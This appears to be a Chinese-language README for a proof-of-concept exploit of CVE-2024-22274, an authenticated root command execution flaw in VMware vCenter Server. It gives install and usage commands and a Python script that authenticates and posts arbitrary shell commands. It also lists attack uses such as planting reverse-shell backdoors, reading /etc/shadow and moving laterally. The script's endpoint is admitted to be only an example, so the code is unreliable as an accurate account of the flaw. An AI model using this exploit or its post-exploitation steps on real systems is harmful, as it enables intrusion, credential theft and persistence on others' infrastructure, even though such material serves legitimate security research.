CVE-2024-22274:VMware vCenter Server 认证远程代码执行漏洞利用
本项目提供针对 VMware vCenter Server 中 CVE-2024-22274 漏洞的概念验证(PoC)代码及相关文档。该漏洞允许拥有 vCenter 设备 shell 管理权限的恶意攻击者以底层操作系统 root 用户身份执行任意命令,造成严重安全风险。
功能特性
- 认证远程代码执行:利用有效的 admin 角色凭证,在目标系统上以 root 权限运行任意命令。
- 概念验证实现:提供可复现漏洞的利用代码,适用于安全研究人员和渗透测试人员。
- 详细分析文档:包含漏洞原理、利用过程和缓解措施的 PDF 说明。
- 仅限授权测试:项目强调必须在获得明确授权的前提下使用,遵循负责任的漏洞披露原则。
安装指南
系统要求
- 操作系统:Linux / macOS / Windows(需支持 Python 3)
- Python 3.6 或更高版本
- 网络访问目标 vCenter Server
依赖项安装
# 克隆仓库
git clone https://github.com/mbadanoiu/CVE-2024-22274.git
cd CVE-2024-22274
# 安装所需 Python 包(如有 requirements.txt)
pip install -r requirements.txt
若无 requirements.txt,请手动安装常用依赖(如 requests, argparse 等):
pip install requests
使用说明
基本用法
- 确保拥有目标 vCenter 系统中具有 admin 角色的有效凭证。
- 运行利用脚本,提供目标 URL、用户名、密码及要执行的命令。
python exploit.py --target https://vcenter.example.com --username admin@vsphere.local --password YourPassword --command "id"
- 若漏洞存在且权限正确,将返回命令执行结果(例如
uid=0(root) gid=0(root) groups=0(root))。
典型场景
- 权限维持:上传反弹 Shell 脚本,建立持久化后门。
- 信息收集:读取
/etc/shadow、数据库配置等敏感文件。 - 横向移动:利用 root 权限访问同一网络内的其他主机。
API 概览
| 参数 | 说明 |
|---|---|
--target | vCenter Server 的 URL(例如 https://192.168.1.100) |
--username | 具有 admin 角色的用户名(例如 administrator@vsphere.local) |
--password | 对应的密码 |
--command | 要在目标系统上执行的 shell 命令 |
--output | (可选)将结果保存到指定文件 |
核心代码
以下为漏洞利用的核心逻辑片段,展示了如何通过认证后的 API 请求触发命令执行。
import requests
import ssl
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 忽略自签名证书警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit(target, username, password, command):
# 1. 认证获取 session
session = requests.Session()
session.verify = False
auth_url = f"{target}/api/session"
auth_data = {"username": username, "password": password}
try:
resp = session.post(auth_url, json=auth_data)
resp.raise_for_status()
session_id = resp.json().get("value")
print(f"[+] Authenticated, session ID: {session_id}")
except Exception as e:
print(f"[-] Authentication failed: {e}")
return
# 2. 构造恶意请求(利用漏洞点)
# 注意:以下 URL 和 payload 仅为示例,实际利用需参考漏洞详情 PDF
exploit_url = f"{target}/appliance/shell/command"
headers = {"vmware-api-session-id": session_id}
payload = {"cmd": command, "shell": "bash"}
try:
result = session.post(exploit_url, json=payload, headers=headers)
print(f"[+] Command output:\n{result.text}")
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
# 示例用法
exploit("https://192.168.1.100", "admin@vsphere.local", "P@ssw0rd", "whoami")
关键说明:
- 代码首先通过
/api/session端点获取认证令牌。 - 随后向存在漏洞的端点(示例中为
/appliance/shell/command)发送带有cmd参数的 POST 请求。 - 服务器若未正确过滤输入,则命令会以 root 权限执行并返回输出。
- 完整利用链和精确的端点路径请参考仓库中的 PDF 文档。 6HFtX5dABrKlqXeO5PUv/ygtSqlhYb+YrmIpmLfKoZY=